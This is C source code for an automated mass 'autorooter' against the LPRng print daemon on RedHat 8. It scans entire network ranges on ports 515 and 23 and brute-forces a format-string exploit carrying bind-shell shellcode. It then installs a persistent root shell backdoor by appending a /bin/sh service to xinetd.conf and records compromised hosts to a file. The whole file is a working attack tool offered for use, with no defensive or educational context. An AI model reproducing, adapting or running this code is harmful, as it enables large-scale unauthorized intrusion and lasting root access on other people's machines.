/*
**
** RedHat 8x LPRng AUTOROOTER!    by dave_                
**                                                       
**
** Private shit... Dont distro... 
**
** 
*/#include <arpa/inet.h>
#include <crypt.h>
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define BDPORT                24452
#define ROOTLIST              "alpd.master"
#define ADDRESS_BUFFER_SIZE   32+4
#define APPEND_BUFFER_SIZE    52
#define FORMAT_LENGTH         512-8
#define NOPCOUNT              200
#define SHELLCODE_COUNT       1030
#define DELAY                 90000 /* usecs */ 
#define OFFSET_LIMIT          60
#define SOCK_TIMEOUT          6
#define FORKLIMIT             100
#define START_EIP 0xbffff3e0
/* pscan stuff */
#define MAX_SOCKETS 600 // This setting greatly influences the speed of
                        // If you are running from a nice speed 
                        // box, set it to 900 or so.
#define TIMEOUT 6
#define S_NONE       0
#define S_CONNECTING 1
struct conn_t {
  int s;
  char status;
  time_t a;
  struct sockaddr_in addr;
};
struct conn_t connlist[MAX_SOCKETS];
void init_sockets(void);
void check_sockets(void);
void fatal(char *);
/* end pscan stuff */
struct our_format {
  char *ip;
};
struct our_format pscan_list[6500];
char shellcode[] = 
"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
struct target
{
  char *os_name;
  u_long eip_address;
  u_long shellcode_address;
  unsigned int position;
  int written_bytes;
  int align;
};
struct target targets[] =
{
  { "RedHat 8.0", 0xbffff3ec, 0L, 300, 70, 2,         },
  { "RedHat 8.0", 0xbffff12c, 0L, 300, 70, 2,         },
  { NULL, 0L, 0L, 0, 0, 0 }
};
static char address_buffer[ADDRESS_BUFFER_SIZE+1];
static char append_buffer[APPEND_BUFFER_SIZE+1];
static char shellcode_buffer[1024];
int offset=0, totalowned=0, totalvuln=0;
int type=-1, shell=0, pnum=0, vnum=0, numforks=0, tot=0;
int brute=-1, failure=1;
char *he;
void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int
previous, u_int addr_loc)
{
  int i;
  unsigned int tmp = 0;
  unsigned int copied = previous;
  unsigned int num[4] =
  {
    (unsigned int) (shellcode_addr & 0x000000ff),
    (unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
    (unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
    (unsigned int)((shellcode_addr & 0xff000000) >> 24)
  };
  memset (address_buffer, '\0', sizeof(address_buffer));
  memset (append_buffer, '\0', sizeof(append_buffer));
  for (i = 0; i < 4; i++)
  {
    while (copied > 0x100)
      copied -= 0x100;
    if ( (i > 0) && (num[i-1] == num[i]) )
      sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
    else if (copied < num[i])
    {
      if ((num[i] - copied) <= 10)
      {
        sprintf (append_buffer+strlen(append_buffer), "%.*s",
        (int)(num[i] - copied), "security.is!");
        copied += (num[i] - copied);
        sprintf (append_buffer+strlen(append_buffer), "%%%d$n",
addr_loc+i);         
      } 
      else {
        sprintf (append_buffer+strlen(append_buffer), "%%.%du",
        num[i] - copied);
        copied += (num[i] - copied);
        sprintf (append_buffer+strlen(append_buffer), "%%%d$n",
addr_loc+i);         }
      } 
      else {
        tmp = ((num[i] + 0x100) - copied);
        sprintf(append_buffer+strlen(append_buffer), "%%.%du", tmp);
        copied += ((num[i] + 0x100) - copied);
        sprintf(append_buffer+strlen(append_buffer), "%%%d$n",
addr_loc+i);
      }
     
      sprintf(address_buffer+strlen(address_buffer), "%c%c%c%c",
      (unsigned char) ((eip_addr+i) & 0x000000ff),
      (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
      (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
      (unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
   }
   while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE)
      strcat (address_buffer, "X");
#ifdef DEBUG
   printf ("\nGeneration complete:\nAddress: ");
   for (i = 0; i < strlen(address_buffer); i++)
   {
      if ( ((i % 4) == 0) && (i > 0) )
         printf (".");
      printf ("%02x", (unsigned char)address_buffer[i]);
   }
   printf ("\nAppend: %s\n", append_buffer);
#endif
   return;
}
char *create_malicious_string(void)
{
   static char format_buffer[FORMAT_LENGTH+1];
   long addr1,addr2;
   int i;
   memset (format_buffer, '\0', sizeof(format_buffer));
   targets[type].shellcode_address = targets[type].eip_address +
SHELLCODE_COUNT;
   addr1 = targets[type].eip_address;
   addr2 = targets[type].shellcode_address;
   calculate_rets (addr1, addr2,targets[type].written_bytes,
targets[type].position);
   
   (void)snprintf (format_buffer, sizeof(format_buffer)-1, "%.*s%s",
                   targets[type].align, "BBBB", address_buffer);
   strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1);
   strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1);
   for(i = 0 ; i < NOPCOUNT ; i++) 
   strcat(format_buffer, "\x90");
   strcat(format_buffer, shellcode);
   return (format_buffer);
}
int chkbd()
{
  int sockfd;
  FILE *master;
  struct sockaddr_in dest_addr;
  sockfd = socket(AF_INET, SOCK_STREAM, 0);
  dest_addr.sin_family = AF_INET;
  dest_addr.sin_port = htons(BDPORT);
  dest_addr.sin_addr.s_addr = inet_addr(he);
  alarm(5);
  if(connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct
sockaddr)) == -1)
  {
    return -1;
  }
  alarm(0);
  close(sockfd);
  printf("owned (port %d)", BDPORT);
  fflush(stdout);
  totalowned++;
  master=fopen(ROOTLIST, "a");
  fprintf(master, "%s\n", inet_ntoa(dest_addr.sin_addr)); 
  fclose(master);
  return 1;
}
int connect_victim()
{
  int sockfd, n;
  struct sockaddr_in s;
  fd_set fd_stat;
  char buff[1024], bdcmd2[256]; 
  static char testcmd[256] = "/bin/uname -a ; id ;\r\n";
  static char bdcmd1[256] = "echo \"service reg\" >>/etc/xinetd.conf; echo
\"{\" >>/etc/xinetd.conf; echo \"socket_type =
stream\" >>/etc/xinetd.conf;\r\n";
  static char bdcmd3[256] = "echo \"user = root\" >>/etc/xinetd.conf; echo
\"server = /bin/sh\" >>/etc/xinetd.conf; echo \"server_args =
-i\" >>/etc/xinetd.conf;\r\n";
  static char bdcmd4[256] = "echo
\"}\" >>/etc/xinetd.conf; /etc/rc.d/init.d/xinetd restart;\r\n";
  
  s.sin_family = AF_INET;
  s.sin_port = htons(3879);
  s.sin_addr.s_addr = inet_addr(he);
  memset(&bdcmd2, 0, sizeof(bdcmd2));
  sprintf(bdcmd2, "echo \"port = %d\" >>/etc/xinetd.conf; echo \"protocol
= tcp\" >>/etc/xinetd.conf; echo \"wait = no\" >>/etc/xinetd.conf;\r\n",
BDPORT);
  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  {
    printf ("--- [5] Unable to create socket!\n");
    printf("Exploit failed!\n");
    return -1;
  }
  if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
    return -1;
  #ifdef VERBOSE
    printf("+++ The eip_address is 0x%x\n", targets[type].eip_address);
    printf("-   [+] Sending backdoor code... (port %d)\n", BDPORT);
  #endif
  failure = -1;
  FD_ZERO(&fd_stat);
  FD_SET(sockfd, &fd_stat);
  if (shell == 1)
  {
    send(sockfd, testcmd, strlen(testcmd), 0);
    while(1) {
      FD_SET(sockfd,&fd_stat);
      FD_SET(0,&fd_stat);
      if(select(sockfd+1,&fd_stat,NULL,NULL,NULL)<0) break;
      if( FD_ISSET(sockfd, &fd_stat) ) {
        if((n=read(sockfd,buff,sizeof(buff)))<0){
          fprintf(stderr, "EOF\n");
          return 2;
        }
        if(write(1,buff,n)<0)break;
      }
      if ( FD_ISSET(0, &fd_stat) ) {
        if((n=read(0,buff,sizeof(buff)))<0)
        {
          fprintf(stderr,"EOF\n");
          return 2;
        }
        if(send(sockfd,buff,n,0)<0) 
          break;
      }
    }
  }
  else
  {
    send(sockfd, bdcmd1, strlen(bdcmd1), 0);
    send(sockfd, bdcmd2, strlen(bdcmd2), 0);
    send(sockfd, bdcmd3, strlen(bdcmd3), 0);
    send(sockfd, bdcmd4, strlen(bdcmd4), 0);
    sleep(5);
    close(sockfd);
    if (!fork())
    {
      chkbd();
      exit(0);
    }
    else
    {
      wait(NULL);
      return -1;
    }
  }
}
int send_code(char *exploit_buffer)
{
   int sockfd, n;
   struct sockaddr_in s;
   fd_set fd_stat;
   char recv[1024];
   static char testcmd[256] = "/bin/uname -a ; id ;\r\n";
   s.sin_family = AF_INET;
   s.sin_port = htons (515);
   s.sin_addr.s_addr = inet_addr(he);
   #ifdef VERBOSE
     printf("offset: %d eip: 0x%x\n", offset, START_EIP - offset);
   #endif
   if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
   {
     printf("--- [5] Unable to create socket!\n");
     printf("Exploit failed!\n");
     return -1;
   }
   if ((connect(sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
   {
     printf("--- [5] Unable to connect to %s\n", he);
     printf("Exploit failed, %s is not running LPD!\n", he);
     return -1;
   }
   usleep(DELAY);
        
   if(write(sockfd, exploit_buffer, strlen(exploit_buffer)) < 0)
   {
     printf("Couldn't write to socket %d", sockfd);
     printf("Exploit failed\n");
     exit(2);
   }
   close(sockfd);
   if(connect_victim() == 0)
     return 0;
}
void usage(char *program)
{
  printf("[- ALPD -] Linux LPRng AutoRooter\n");
  printf("November 2000            by _dave\n\n");
  printf("Usage: %s <a or b class>\n", program);
  printf("eg: %s 24.1\n", program);
  exit(-1);
}
int startbanner(char *target)
{
  int cur;
  char vbuf[1024];
  FILE *f;
  printf("++ Now running banner scan on %s ips.\n", target);
  for (cur=0; cur < pnum; cur++)
  {
    if (!fork())
    {
      bscan(pscan_list[cur].ip);
      free(pscan_list[cur].ip);
      exit(0);
    }
    else
    {
      numforks++;
      if (numforks > FORKLIMIT)
      for (numforks; numforks > FORKLIMIT; numforks--)
      wait(NULL);
    }
  }
  printf("++ Waiting for processes to die...\n");
  /* Wait for processes to die before we continue! */
  sleep(20);
  
  printf("Can I get a ROOT ROOT?!#\n");
  if ((f=fopen("alpd.temp", "r")) == NULL)
  {
    fprintf(stderr, "No vulnerable boxes for %s.\n", target);
    return -1;
  }
  while (!feof(f))
  {
    memset(&vbuf, 0, sizeof(vbuf));
    fgets((char *) &vbuf, sizeof(vbuf), f);
    if (vbuf[strlen(vbuf) - 1] == '\n')
      vbuf[strlen(vbuf) - 1] = '\0';
    if (strlen(vbuf) > 1)
    {
      printf("\nTrying to own %s...", vbuf);
      fflush(stdout);
      totalvuln++;
      lpdex(vbuf);
    }
  }
  fclose(f);
  unlink("alpd.temp");
  printf("\n++ Check %s for results.\n", ROOTLIST);
  totalowned=0;
  totalvuln=0;
}
int main(int argc, char *argv[])
{
  int nump=0, b;
  char ip[17], salt[3], *parse, *type, *inpass;
  if (argc < 2)
    usage(argv[0]);
  parse=argv[1];
  for (parse; *parse != '\0'; *parse++)
    if (*parse == '.')
      nump++;
  if (nump > 1)
    usage(argv[0]);
  unlink("alpd.temp");
  if (nump == 0) /* a class */
  {
    for (b=0; b<=254; b++)
    {
      memset(&ip, 0, sizeof(ip));
      sprintf(ip, "%s.%d", argv[1], b);
      pnum=0;
      pscan(ip);
      startbanner(ip);
    }
  }
  if (nump == 1) /* b class */
  {
    pscan(argv[1]);
    startbanner(argv[1]);
  }
  printf("You are now a certified hax0r. Enjoy.\n");
}
int lpdex(char *iptoroot)
{
  char exploit_buffer[1024];
  char *format = NULL;
  int c, brutecount=0;
  type = 0;
  brute = 1;
  he = iptoroot;
  
  targets[type].shellcode_address = targets[type].eip_address +
SHELLCODE_COUNT;
  
  #ifdef VERBOSE
    printf("+++ Brute forcing %s with our format string\n", iptoroot);
  #endif
  targets[type].eip_address =  START_EIP;
  while(failure) 
  {
    memset(exploit_buffer, '\0', sizeof(exploit_buffer)); 
    format = create_malicious_string();
    strcpy(exploit_buffer, address_buffer);
    strcat(exploit_buffer, format);
    strcat(exploit_buffer, "\n");
    if(send_code(exploit_buffer) == 0)
      return 0;
                           // was 0xbffffff0
    targets[type].eip_address = START_EIP - offset;
    offset+=4;
    if (offset > OFFSET_LIMIT) {
      #ifdef VERBOSE
        printf("+++ Offset limit hit, ending brute mode.\n");
      #endif
      offset=0;
      return -1;
    }
  }
}
int pscan(char *class)
{
  int done, i, cip, bb, ret, k, ns;
  time_t scantime;
  char ip[20];
  done = 0; cip = 1; bb = 0;
  init_sockets();
  scantime = time(0);
  printf("++ Running portscan on %s\n", class);
  while(!done) {
    for (i = 0; i < MAX_SOCKETS; i++) {
        if (cip == 255) {           
           if ((bb == 255)) {
              ns = 0;
              for (k = 0; k < MAX_SOCKETS; k++) {               
                  if (connlist[k].status > S_NONE) {
                     ns++;
                     break;
                  }
              }
              if (ns == 0)
                 done = 1;
              break;
           }
           else {
             cip = 0;
             bb++;
           }
        }
        if (connlist[i].status == S_NONE) {
           connlist[i].s = socket(AF_INET, SOCK_STREAM, 0);
           if (connlist[i].s == -1)
              printf("Unable to allocate socket.\n");
           else {
             ret = fcntl(connlist[i].s, F_SETFL, O_NONBLOCK);
             if (ret == -1) {
                printf("Unable to set O_NONBLOCK\n");
                close(connlist[i].s);
             }
             else {
               memset((char *)ip, 0, 20);
               sprintf(ip, "%s.%d.%d", class, bb, cip);
               connlist[i].addr.sin_addr.s_addr = inet_addr(ip);
               if (connlist[i].addr.sin_addr.s_addr == -1)
                 fatal("Invalid IP.");
               connlist[i].addr.sin_family = AF_INET;
               connlist[i].addr.sin_port = htons(515);
               connlist[i].a = time(0);
               connlist[i].status = S_CONNECTING;
               cip++;
             }
           }
        }
    }
    check_sockets();
  }
}
void init_sockets(void)
{
  int i;
  for (i = 0; i < MAX_SOCKETS; i++) {
      connlist[i].status = S_NONE;
      memset((struct sockaddr_in *)&connlist[i].addr, 0, sizeof(struct
sockaddr_in));
  }
}
void check_sockets(void)
{
  int i, ret;
  for (i = 0; i < MAX_SOCKETS; i++) {
      if ((connlist[i].a < (time(0) - TIMEOUT)) &&
          (connlist[i].status == S_CONNECTING)) {
         close(connlist[i].s);
         connlist[i].status = S_NONE;
      }
      else if (connlist[i].status == S_CONNECTING) {
         ret = connect(connlist[i].s,
                       (struct sockaddr *)&connlist[i].addr,
                       sizeof(struct sockaddr_in));
         if (ret == -1) {
            if (errno == EISCONN) {
               pscan_list[pnum].ip=(char *)malloc(17);
               strcpy(pscan_list[pnum].ip,
inet_ntoa(connlist[i].addr.sin_addr));
               pnum++;
               close(connlist[i].s);
               connlist[i].status = S_NONE;
            }
            if ((errno != EALREADY) && (errno != EINPROGRESS)) {
               close(connlist[i].s);
               connlist[i].status = S_NONE;
            }
         }
         else {
           pscan_list[pnum].ip=(char *)malloc(17);
           strcpy(pscan_list[pnum].ip,
inet_ntoa(connlist[i].addr.sin_addr));
           pnum++;
           close(connlist[i].s);
           connlist[i].status = S_NONE;
         }
      }
  }
}
void fatal(char *err)
{
  int i;
  printf("Error: %s\n", err);
  for (i = 0; i < MAX_SOCKETS; i++) {
      if (connlist[i].status >= S_CONNECTING)
         close(connlist[i].s);
  }
}
int bscan(char *host)
{
  struct sockaddr_in sin;
  int sock, len;
  u_char buf[4000];
  FILE *ihatetempfiles;
  sock = socket(AF_INET, SOCK_STREAM, 0);
  if (!sock) 
  {
    fprintf(stderr, "unable to get a socket\n");
    return;
  }
  sin.sin_family = AF_INET;
  sin.sin_port = htons(23);
  sin.sin_addr.s_addr = inet_addr(host);
  alarm(10);
  if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) == 0) {
    while (1)
    {
      memset(buf, 0, sizeof(buf));
      if ((len = read (sock, buf, 1)) <= 0)
      break;
      if (*buf == (unsigned int) 255)
      {
        read(sock, (buf + 1), 2);
        if (*(buf + 1) == (unsigned int) 253 && !(u_char) * (buf + 2));
        else if ((u_char) * (buf + 1) == (unsigned int) 253)
        {
          *(buf + 1) = 252;
          write (sock, buf, 3);
        }
      }
      else
      {
        if (*buf != 0)
        {
          bzero (buf, sizeof (buf));
          read (sock, buf, sizeof (buf));
          usleep(40000);
          if (strstr(buf, "Guinness"))
          {
            #ifdef VERBOSE
              printf("Writing %s\n", host);
            #endif
            ihatetempfiles=fopen("alpd.temp", "a");
            fprintf(ihatetempfiles, "%s\n", host);
            fclose(ihatetempfiles);
           
            alarm(0);
            return 1;
          }
        }
      }
    }
  }
  alarm(0);
  close(sock);
  return;
}